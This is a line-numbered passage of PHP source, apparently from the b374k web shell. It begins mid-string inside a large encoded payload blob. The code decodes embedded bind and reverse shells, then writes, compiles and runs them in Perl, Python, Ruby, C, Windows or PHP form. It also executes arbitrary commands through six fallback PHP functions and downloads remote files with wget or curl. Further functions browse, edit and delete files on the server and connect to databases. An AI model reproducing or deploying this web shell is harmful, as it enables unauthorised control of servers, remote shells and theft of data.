"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";
142
143// make link for folder $cwd and all of its parent folder
144function swd($p){
145 global $s_self;
146 $ps = explode(DIRECTORY_SEPARATOR,$p);
147 $pu = "";
148 for($i = 0 ; $i < sizeof($ps)-1 ; $i++){
149 $pz = "";
150 for($j = 0 ; $j <= $i ; $j++) $pz .= $ps[$j].DIRECTORY_SEPARATOR;
151 $pu .= "<a href='".$s_self."cd=".$pz."'>".$ps[$i]." ".DIRECTORY_SEPARATOR." </a>";
152 }
153 return trim($pu);
154}
155// htmlspecialchars, < > "
156function hss($t){
157 $n = array(">","<","\"");
158 $y = array(">", "<", """);
159 return str_replace($n,$y,$t);
160}
161// remove <br />tags
162function rp($t){
163 return trim(str_replace("<br />","",$t));
164}
165// replace spaces with underscore ( _ )
166function cs($t){
167 return str_replace(" ","_",$t);
168}
169// strip slashes,trim and urldecode
170function ss($t){
171 return (!get_magic_quotes_gpc())? trim(urldecode($t)) : trim(urldecode(stripslashes($t)));
172}
173// only strip slashes
174function ssc($t){
175 return (!get_magic_quotes_gpc())? trim($t) : trim(stripslashes($t));
176}
177// bind and reverse shell
178function rs($rstype,$rstarget,$rscode){
179 //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php
180 //resources $rs_pl $rs_py $rs_rb $rs_c $rs_win $rs_php
181 $result = "";
182 $fpath = "";
183 $fc = gzinflate(base64_decode($rscode));
184
185 $errperm = "Directory ".getcwd().DIRECTORY_SEPARATOR." is not writable, please change to a writable one";
186 $errgcc = "Unable to compile using gcc";
187
188 $split = explode("_",$rstype);
189 $method = $split[0];
190 $lang = $split[1];
191 if($lang=="py" || $lang=="pl" || $lang=="rb"){
192 if($lang=="py") $runlang = "python";
193 elseif($lang=="pl") $runlang = "perl";
194 elseif($lang=="rb") $runlang = "ruby";
195 $fpath = "b374k_rs.".$lang;
196 if(is_file($fpath)) unlink($fpath);
197 if($file=fopen($fpath,"w")){
198 fwrite($file,$fc);
199 fclose($file);
200 if(is_file($fpath)){
201 $result = exe("chmod +x ".$fpath);
202 $result = exe($runlang." ".$fpath." ".$rstarget);
203 }
204 else $result = $errperm;
205 }
206 else $result = $errperm;
207 }
208 elseif($lang=="c"){
209 $fpath = "b374k_rs";
210 if(is_file($fpath)) unlink($fpath);
211 if(is_file($fpath.".c")) unlink($fpath.".c");
212 if($file=fopen($fpath.".c","w")){
213 fwrite($file,$fc);
214 fclose($file);
215 if(is_file($fpath.".c")){
216 $result = exe("gcc ".$fpath.".c -o ".$fpath);
217 if(is_file($fpath)){
218 $result = exe("chmod +x ".$fpath);
219 $result = exe("./".$fpath." ".$rstarget);
220 }
221 else $result = $errgcc;
222 }
223 else $result = $errperm;
224 }
225 else $result = $errperm;
226 }
227 elseif($lang=="win"){
228 $fpath = "b374k_rs.exe";
229 if(is_file($fpath)) unlink($fpath);
230 if($file=fopen($fpath,"w")){
231 fwrite($file,$fc);
232 fclose($file);
233 if(is_file($fpath)){
234 $result = exe($fpath." ".$rstarget);
235 }
236 else $result = $errperm;
237 }
238 else $result = $errperm;
239 }
240 elseif($lang=="php"){
241 $result = eval("?>".$fc);
242 }
243 if(is_file($fpath)) unlink($fpath);
244 if(is_file($fpath.".c")) unlink($fpath.".c");
245 return $result;
246}
247// format bit
248function ts($s){
249 if($s<=0) return 0;
250 $w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
251 $e = floor(log($s)/log(1024));
252 return sprintf('%.2f '.$w[$e], ($s/pow(1024, floor($e))));
253}
254// get file size
255function gs($f){
256 $s = @filesize($f);
257 if($s !== false){
258 if($s<=0) return 0;
259 return ts($s);
260 }
261 else return "???";
262}
263// get file permissions
264function gp($f){
265 if($m=@fileperms($f)){
266 $p = 'u';
267 if(($m & 0xC000) == 0xC000)$p = 's';
268 elseif(($m & 0xA000) == 0xA000)$p = 'l';
269 elseif(($m & 0x8000) == 0x8000)$p = '-';
270 elseif(($m & 0x6000) == 0x6000)$p = 'b';
271 elseif(($m & 0x4000) == 0x4000)$p = 'd';
272 elseif(($m & 0x2000) == 0x2000)$p = 'c';
273 elseif(($m & 0x1000) == 0x1000)$p = 'p';
274 $p .= ($m & 00400) ? 'r' : '-';
275 $p .= ($m & 00200) ? 'w' : '-';
276 $p .= ($m & 00100) ? 'x' : '-';
277 $p .= ($m & 00040) ? 'r' : '-';
278 $p .= ($m & 00020) ? 'w' : '-';
279 $p .= ($m & 00010) ? 'x' : '-';
280 $p .= ($m & 00004) ? 'r' : '-';
281 $p .= ($m & 00002) ? 'w' : '-';
282 $p .= ($m & 00001) ? 'x' : '-';
283 return $p;
284 }
285 else return "???????????";
286}
287// shell command
288function exe($c){
289 $out = "";
290 $c = $c." 2>&1";
291
292 if(is_callable('system')) {
293 ob_start();
294 @system($c);
295 $out = ob_get_contents();
296 ob_end_clean();
297 if(!empty($out)) return $out;
298 }
299 if(is_callable('shell_exec')){
300 $out = @shell_exec($c);
301 if(!empty($out)) return $out;
302 }
303 if(is_callable('exec')) {
304 @exec($c,$r);
305 if(!empty($r)) foreach($r as $s) $out .= $s;
306 if(!empty($out)) return $out;
307 }
308 if(is_callable('passthru')) {
309 ob_start();
310 @passthru($c);
311 $out = ob_get_contents();
312 ob_end_clean();
313 if(!empty($out)) return $out;
314 }
315 if(is_callable('proc_open')) {
316 $descriptorspec = array(
317 0 => array("pipe", "r"),
318 1 => array("pipe", "w"),
319 2 => array("pipe", "w")
320 );
321 $proc = @proc_open($c, $descriptorspec, $pipes, getcwd(), array());
322 if (is_resource($proc)) {
323 while ($si = fgets($pipes[1])) {
324 if(!empty($si)) $out .= $si;
325 }
326 while ($se = fgets($pipes[2])) {
327 if(!empty($se)) $out .= $se;
328 }
329 }
330 @proc_close($proc);
331 if(!empty($out)) return $out;
332 }
333 if(is_callable('popen')){
334 $f = @popen($c, 'r');
335 if($f){
336 while(!feof($f)){
337 $out .= fread($f, 2096);
338 }
339 pclose($f);
340 }
341 if(!empty($out)) return $out;
342 }
343 return "";
344}
345// add slash to the end of given path
346function cp($p){
347 if(is_dir($p)){
348 $x = DIRECTORY_SEPARATOR;
349 while(substr($p,-1) == $x) $p = rtrim($p,$x);
350 return $p.$x;
351 }
352 return $p;
353}
354// delete dir and all of its content (no warning !) xp
355function rmdirs($d){
356 $f = glob($d . '*', GLOB_MARK);
357 foreach($f as $z){
358 if(is_dir($z)) rmdirs($z);
359 else unlink($z);
360 }
361 if(is_dir($d)) rmdir($d);
362}
363// get array of all files from given directory
364function getallfiles($dir){
365 $f = glob($dir . '*');
366 for($i = 0; $i < count($f); $i++){
367 if(is_dir($f[$i])) {
368 $a = glob($f[$i].DIRECTORY_SEPARATOR.'*');
369 $f = array_merge($f, $a);
370 }
371 }
372 return $f;
373}
374// which command
375function xwhich($pr){
376 $p = exe("which $pr");
377 if(trim($p)!="") { return trim($p); } else { return trim($pr); }
378}
379// download file from internet
380function dlfile($u,$p){
381 $n = basename($u);
382
383 // try using php functions
384 if($t = @file_get_contents($u)){
385 if(is_file($p)) unlink($p);;
386 if($f=fopen($p,"w")){
387 fwrite($f,$t);
388 fclose($f);
389 if(is_file($p)) return true;
390 }
391 }
392 // using wget
393 exe(xwhich('wget')." ".$u." -O ".$p);
394 if(is_file($p)) return true;
395
396 // try using lwp-download
397 exe(xwhich('lwp-download')." ".$u." ".$p);
398 if(is_file($p)) return true;
399
400 // try using lynx
401 exe(xwhich('lynx')." -source ".$u." > ".$p);
402 if(is_file($p)) return true;
403
404 // try using curl
405 exe(xwhich('curl')." ".$u." -o ".$p);
406 if(is_file($p)) return true;
407
408 return false;
409}
410// find writable dir
411function get_writabledir(){
412 if(is_writable(".")) $d = ".".DIRECTORY_SEPARATOR;
413 else{
414 if(!$d = getenv("TMP")) if(!$d = getenv("TEMP")) if(!$d = getenv("TMPDIR")){
415 if(is_writable("/tmp")) $d = "/tmp/";
416 else $d = getcwd().DIRECTORY_SEPARATOR;
417 }
418 }
419 return $d;
420}
421// zip function
422function zip($src, $dest){
423 if(!extension_loaded('zip') || !file_exists($src)) return false;
424
425 if(class_exists("ZipArchive")){
426 $zip = new ZipArchive();
427 if(!$zip->open($dest, 1)) return false;
428
429 $src = str_replace('\\', '/', $src);
430 if(is_dir($src)){
431 $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($src), 1);
432 foreach($files as $file){
433 $file = str_replace('\\', '/', $file);
434 if(in_array(substr($file, strrpos($file, '/')+1), array('.', '..'))) continue;
435 if (is_dir($file) === true) $zip->addEmptyDir(str_replace($src . '/', '', $file . '/'));
436 else if (is_file($file) === true) $zip->addFromString(str_replace($src . '/', '', $file), @file_get_contents($file));
437 }
438 }
439 elseif(is_file($src) === true) $zip->addFromString(basename($src), @file_get_contents($src));
440 $zip->close();
441 return true;
442 }
443}
444// check shell permission to access program
445function check_access($lang){
446 $s = 0;
447 switch($lang){
448 case "python":
449 $cek = strtolower(exe("python -h"));
450 if(strpos($cek,"usage")!==false) $s = 1;
451 break;
452 case "perl":
453 $cek = strtolower(exe("perl -h"));
454 if(strpos($cek,"usage")!==false) $s = 1;
455 break;
456 case "ruby":
457 $cek = strtolower(exe("ruby -h"));
458 if(strpos($cek,"usage")!==false) $s = 1;
459 break;
460 case "gcc":
461 $cek = strtolower(exe("gcc --help"));
462 if(strpos($cek,"usage")!==false) $s = 1;
463 break;
464 case "tar":
465 $cek = strtolower(exe("tar --help"));
466 if(strpos($cek,"usage")!==false) $s = 1;
467 break;
468 case "java":
469 $cek = strtolower(exe("javac --help"));
470 if(strpos($cek,"usage")!==false){
471 $cek = strtolower(exe("java -h"));
472 if(strpos($cek,"usage")!==false) $s = 1;
473 }
474 break;
475 }
476 return $s;
477}
478// find available archiver
479function get_archiver_available(){
480 global $s_self, $s_tar;
481 $dlfile = "";
482 $avail_arc = array("raw"=>"raw");
483
484 if(class_exists("ZipArchive")){
485 $avail_arc["ziparchive"] = "zip";
486 }
487 if($s_tar){
488 $avail_arc["tar"] = "tar";
489 $avail_arc["targz"] = "tar.gz";
490 }
491
492 $option_arc = "";
493 foreach($avail_arc as $t=>$u){
494 $option_arc .= "<option value=\"".$t."\">".$u."</option>";
495 }
496
497 $dlfile .= "<form action='".$s_self."' method='post'>
498 <select onchange='download(this);' name='dltype' class='inputzbut' style='width:80px;height:20px;'>
499 <option value='' disabled selected>Download</option>
500 ".$option_arc."
501 </select>
502 <input type='hidden' name='dlpath' value='__dlpath__' />
503 </form>
504 ";
505 return $dlfile;
506}
507// explorer, return a table of given dir
508function showdir($cwd){
509 global $s_self;
510
511 $posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false;
512 $win = (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
513
514 $fname = array();
515 $dname = array();
516
517 if(function_exists("scandir") && $dh = @scandir($cwd)){
518 foreach($dh as $file){
519 if(is_dir($file)) $dname[] = $file;
520 elseif(is_file($file)) $fname[] = $file;
521 }
522 }
523 else{
524 if($dh = @opendir($cwd)){
525 while($file = readdir($dh)){
526 if(is_dir($file)) $dname[] = $file;
527 elseif(is_file($file))$fname[] = $file;
528 }
529 closedir($dh);
530 }
531 }
532
533 sort($fname);
534 sort($dname);
535 $list = array_merge($dname,$fname);
536
537 if($win){
538 //check if this root directory
539 chdir("..");
540 if(cp(getcwd())==cp($cwd)){
541 array_unshift($list, ".");
542 }
543 chdir($cwd);
544 }
545
546 $path = explode(DIRECTORY_SEPARATOR,$cwd);
547 $tree = sizeof($path);
548
549 $parent = "";
550 if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
551 else $parent = $cwd;
552
553 $owner_html = (!$win && $posix) ? "<th style='width:120px;'>owner:group</th>" : "";
554 $buff = "
555 <table class='explore sortable'>
556 <tr><th>name</th><th style='width:60px;'>size</th>".$owner_html."<th style='width:70px;'>perms</th><th style='width:110px;'>modified</th><th style='width:180px;' class='sorttable_nosort'>action</th><th style='width:90px;' class='sorttable_nosort'>download</th></tr>
557 ";
558
559 $arc = get_archiver_available();
560 foreach($list as $l){
561 if(!$win && $posix){
562 $name = posix_getpwuid(fileowner($l));
563 $group = posix_getgrgid(filegroup($l));
564 $owner = $name['name']."<span class='gaya'>:</span>".$group['name'];
565 $owner_html = "<td style='text-align:center;'>".$owner."</td>";
566 }
567
568 $lhref = "";
569 $lname = "";
570 $laction = "";
571 if(is_dir($l)){
572 if($l=="."){
573 $lhref = $s_self."cd=".$cwd;
574 $lsize = "LINK";
575 $laction = "
576 <span id='titik1'>
577 <a href='".$s_self."cd=".$cwd."&find=".$cwd."' title='find something'>find</a> |
578 <a href='".$s_self."cd=".$cwd."&upload' title='upload'>upl</a> |
579 <a href='".$s_self."cd=".$cwd."&edit=".$cwd."newfile_1&new' title='create new file'>+file</a> |
580 <a href=\"javascript:tukar('titik1','titik1_form');\" title='create new directory'>+dir</a>
581 </span>
582 <div id='titik1_form' class='sembunyi'>
583 <form action='".$s_self."' method='post'>
584 <input type='hidden' name='cd' value=".$cwd."' />
585 <input class='inputz' id='titik1_' style='width:80px;' type='text' name='mkdir' value='newfolder' />
586 <input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Go !' />
587 </form>
588 <input class='inputzbut' type='button' value='x' onclick=\"tukar('titik1_form','titik1');\" />
589 </div>";
590 }
591 elseif($l==".."){
592 $lhref = $s_self."cd=".$parent;
593 $lsize = "LINK";
594 $laction = "
595 <span id='titik2'>
596 <a href='".$s_self."cd=".$parent."&find=".$parent."' title='find something'>find</a> |
597 <a href='".$s_self."cd=".$parent."&upload' title='upload'>upl</a> |
598 <a href='".$s_self."cd=".$parent."&edit=".$parent."newfile_1&new' title='create new file'>+file</a> |
599 <a href=\"javascript:tukar('titik2','titik2_form');\" title='create new directory'>+dir</a>
600 </span>
601 <div id='titik2_form' class='sembunyi'>
602 <form action='".$s_self."' method='post'>
603 <input type='hidden' name='cd' value='".$parent."' />
604 <input class='inputz' id='titik2_' style='width:80px;' type='text' name='mkdir' value='newfolder' />
605 <input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Go !' />
606 </form>
607 <input class='inputzbut' type='button' value='x' onclick=\"tukar('titik2_form','titik2');\" />
608 </div>";
609 }
610 else{
611 $lhref = $s_self."cd=".$cwd.$l.DIRECTORY_SEPARATOR;
612 $lsize = "DIR";
613 $laction = "
614 <span id='".cs($l)."_link'>
615 <a href='".$s_self."cd=".$cwd.$l.DIRECTORY_SEPARATOR."&find=".$cwd.$l.DIRECTORY_SEPARATOR."' title='find something'>find</a> |
616 <a href='".$s_self."cd=".$cwd.$l.DIRECTORY_SEPARATOR."&upload' title='upload'>upl</a> |
617 <a href=\"javascript:tukar('".cs($l)."_link','".cs($l)."_form');\" title='rename'>ren</a> |
618 <a href='".$s_self."cd=".$cwd."&del=".$l."' title='delete'>del</a>
619 </span>
620 <div id='".cs($l)."_form' class='sembunyi'>
621 <form action='".$s_self."' method='post'>
622 <input type='hidden' name='oldname' value='".$l."' />
623 <input type='hidden' name='cd' value='".$cwd."' />
624 <input class='inputz' style='width:80px;' type='text' id='".cs($l)."_link_' name='newname' value='".$l."' />
625 <input class='inputzbut' type='submit' name='rename' value='ren' />
626 </form>
627 <input class='inputzbut' type='button' value='x' onclick=\"tukar('".cs($l)."_form','".cs($l)."_link');\" />
628 </div>";
629 }
630 $lname = "[ ".$l." ]";
631 $lsizetit = "0";
632 }
633 else{
634 $lhref = $s_self."view=".$l;
635 $lname = $l;
636 $lsize = gs($l);
637 $lsizetit = @filesize($l);
638 $laction = "
639 <div id='".cs($l)."_form' class='sembunyi'>
640 <form action='".$s_self."' method='post'>
641 <input type='hidden' name='oldname' value='".$l."' />
642 <input class='inputz' style='width:80px;' type='text' id='".cs($l)."_link_' name='newname' value='".$l."' />
643 <input class='inputzbut' type='submit' name='rename' value='ren' />
644 </form>
645 <input class='inputzbut' type='button' value='x' onclick=\"tukar('".cs($l)."_form','".cs($l)."_link');\" />
646 </div>
647 <span id='".cs($l)."_link'>
648 <a href='".$s_self."edit=".cs($cwd.$l)."' title='edit'>edit</a> |
649 <a href='".$s_self."hexedit=".cs($cwd.$l)."' title='edit as hex'>hex</a> |
650 <a href=\"javascript:tukar('".cs($l)."_link','".cs($l)."_form');\" title='rename'>ren</a> |
651 <a href='".$s_self."del=".$l."' title='delete'>del</a>
652 </span>";
653 }
654
655 $ldl = str_replace("__dlpath__",$l,$arc);
656 $buff .= "
657 <tr>
658 <td class='explorelist' onmouseup=\"return go('".addslashes($lhref)."',event);\">
659 <a href='".$lhref."'>".$lname."</a>
660 </td>
661 <td title='".$lsizetit."'>".$lsize."</td>
662 ".$owner_html."
663 <td style='text-align:center;'>".gp($l)."</td>
664 <td style='text-align:center;'>".@date("d-M-Y H:i",filemtime($l))."</td>
665 <td>".$laction."</td>
666 <td>".$ldl."</td></tr>";
667 }
668 $buff .= "</table>";
669 return $buff;
670}
671//database related functions
672function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
673 if($sqltype == 'mysql'){if(function_exists('mysql_connect')) return @mysql_connect($sqlhost,$sqluser,$sqlpass);}
674 elseif($sqltype == 'mssql'){
675 if(function_exists('mssql_connect')) return @mssql_connect($sqlhost,$sqluser,$sqlpass);
676 elseif(function_exists('sqlsrv_connect')){
677 $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
678 return @sqlsrv_connect($sqlhost,$coninfo);
679 }
680 }
681 elseif($sqltype == 'pgsql'){
682 $hosts = explode(":", $sqlhost);
683 if(count($hosts)==2){
684 $host_str = "host=".$hosts[0]." port=".$hosts[1];
685 }
686 else $host_str = "host=".$sqlhost;
687 if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
688 }
689 elseif($sqltype == 'oracle'){if(function_exists('oci_connect')) return @oci_connect($sqluser,$sqlpass,$sqlhost);}
690 elseif($sqltype == 'sqlite3'){
691 if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
692 else return false;
693 }
694 elseif($sqltype == 'sqlite'){if(function_exists('sqlite_open')) return @sqlite_open($sqlhost);}
695 elseif($sqltype == 'odbc'){if(function_exists('odbc_connect')) return @odbc_connect($sqlhost,$sqluser,$sqlpass);}
696 elseif($sqltype == 'pdo'){
697 if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost,$sqluser,$sqlpass);
698 else return false;
699 }
700}
701function sql_query($sqltype, $query, $con){
702 if($sqltype == 'mysql'){if(function_exists('mysql_query')) return mysql_query($query);}
703 elseif($sqltype == 'mssql'){
704 if(function_exists('mssql_query')) return mssql_query($query);
705 elseif(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
706 }
707 elseif($sqltype == 'pgsql'){if(function_exists('pg_query')) return pg_query($query);}
708 elseif($sqltype == 'oracle'){
709 if(function_exists('oci_parse') && function_exists('oci_execute')){
710 $st = oci_parse($con, $query);
711 oci_execute($st);
712 return $st;
713 }
714 }
715 elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $con->query($query);}
716 elseif($sqltype == 'sqlite'){if(function_exists('sqlite_query')) return sqlite_query($con, $query);}
717 elseif($sqltype == 'odbc'){if(function_exists('odbc_exec')) return odbc_exec($con, $query);}
718 elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $con->query($query);}
719}
720function sql_num_fields($sqltype, $hasil){
721 if($sqltype == 'mysql'){if(function_exists('mysql_num_fields')) return mysql_num_fields($hasil);}
722 elseif($sqltype == 'mssql'){
723 if(function_exists('mssql_num_fields')) return mssql_num_fields($hasil);
724 elseif(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($hasil);
725 }
726 elseif($sqltype == 'pgsql'){if(function_exists('pg_num_fields')) return pg_num_fields($hasil);}
727 elseif($sqltype == 'oracle'){if(function_exists('oci_num_fields')) return oci_num_fields($hasil);}
728 elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $hasil->numColumns();}
729 elseif($sqltype == 'sqlite'){if(function_exists('sqlite_num_fields')) return sqlite_num_fields($hasil);}
730 elseif($sqltype == 'odbc'){if(function_exists('odbc_num_fields')) return odbc_num_fields($hasil);}
731 elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $hasil->columnCount();}
732}
733function sql_field_name($sqltype,$hasil,$i){
734 if($sqltype == 'mysql'){if(function_exists('mysql_field_name')) return mysql_field_name($hasil,$i);}
735 elseif($sqltype == 'mssql'){
736 if(function_exists('mssql_field_name')) return mssql_field_name($hasil,$i);
737 elseif(function_exists('sqlsrv_field_metadata')){
738 $metadata = sqlsrv_field_metadata($hasil);
739 if(is_array($metadata)){
740 $metadata=$metadata[$i];
741 }
742 if(is_array($metadata)) return $metadata['Name'];
743 }
744 }
745 elseif($sqltype == 'pgsql'){if(function_exists('pg_field_name')) return pg_field_name($hasil,$i);}
746 elseif($sqltype == 'oracle'){if(function_exists('oci_field_name')) return oci_field_name($hasil,$i+1);}
747 elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $hasil->columnName($i);}
748 elseif($sqltype == 'sqlite'){if(function_exists('sqlite_field_name')) return sqlite_field_name($hasil,$i);}
749 elseif($sqltype == 'odbc'){if(function_exists('odbc_field_name')) return odbc_field_name($hasil,$i+1);}
750 elseif($sqltype == 'pdo'){
751 if(class_exists('PDO')){
752 $res = $hasil->getColumnMeta($i);
753 return $res['name'];
754 }
755 }
756}
757function sql_fetch_data($sqltype,$hasil){
758 if($sqltype == 'mysql'){if(function_exists('mysql_fetch_row')) return mysql_fetch_row($hasil);}
759 elseif($sqltype == 'mssql'){
760 if(function_exists('mssql_fetch_row')) return mssql_fetch_row($hasil);
761 elseif(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($hasil,1);
762 }
763 elseif($sqltype == 'pgsql'){if(function_exists('pg_fetch_row')) return pg_fetch_row($hasil);}
764 elseif($sqltype == 'oracle'){if(function_exists('oci_fetch_row')) return oci_fetch_row($hasil);}
765 elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $hasil->fetchArray(1);}
766 elseif($sqltype == 'sqlite'){if(function_exists('sqlite_fetch_array')) return sqlite_fetch_array($hasil,1);}
767 elseif($sqltype == 'odbc'){if(function_exists('odbc_fetch_array')) return odbc_fetch_array($hasil);}
768 elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $hasil->fetch(2);}
769}
770function sql_num_rows($sqltype,$hasil){
771 if($sqltype == 'mysql'){if(function_exists('mysql_num_rows')) return mysql_num_rows($hasil);}
772 elseif($sqltype == 'mssql'){
773 if(function_exists('mssql_num_rows')) return mssql_num_rows($hasil);
774 elseif(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($hasil);
775 }
776 elseif($sqltype == 'pgsql'){if(function_exists('pg_num_rows')) return pg_num_rows($hasil);}
777 elseif($sqltype == 'oracle'){if(function_exists('oci_num_rows')) return oci_num_rows($hasil);}
778 elseif($sqltype == 'sqlite3'){
779 if(class_exists('SQLite3')){
780 $metadata = $hasil->fetchArray();
781 if(is_array($metadata)) return $metadata['count'];
782 }
783 }
784 elseif($sqltype == 'sqlite'){if(function_exists('sqlite_num_rows')) return sqlite_num_rows($hasil);}
785 elseif($sqltype == 'odbc'){if(function_exists('odbc_num_rows')) return odbc_num_rows($hasil);}
786 elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $hasil->rowCount();}
787}
788function sql_close($sqltype,$con){
789 if($sqltype == 'mysql'){if(function_exists('mysql_close')) return mysql_close($con);}
790 elseif($sqltype == 'mssql'){
791 if(function_exists('mssql_close')) return mssql_close($con);
792 elseif(function_exists('sqlsrv_close')) return sqlsrv_close($con);
793 }
794 elseif($sqltype == 'pgsql'){if(function_exists('pg_close')) return pg_close($con);}
795 elseif($sqltype == 'oracle'){if(function_exists('oci_close')) return oci_close($con);}
796 elseif($sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $con->close();}
797 elseif($sqltype == 'sqlite'){if(function_exists('sqlite_close')) return sqlite_close($con);}
798 elseif($sqltype == 'odbc'){if(function_exists('odbc_close')) return odbc_close($con);}
799 elseif($sqltype == 'pdo'){if(class_exists('PDO')) return $con = null;}
800}
801if(!function_exists('str_split')){
802 function str_split($t,$s=1){
803 $a = array();
804 for($i=0;$i<strlen($t);){
805 $a[] = substr($t,$i,$s);
806 $i += $s;
807 }
808 return $a;
809 }
810}
811
812// favicon
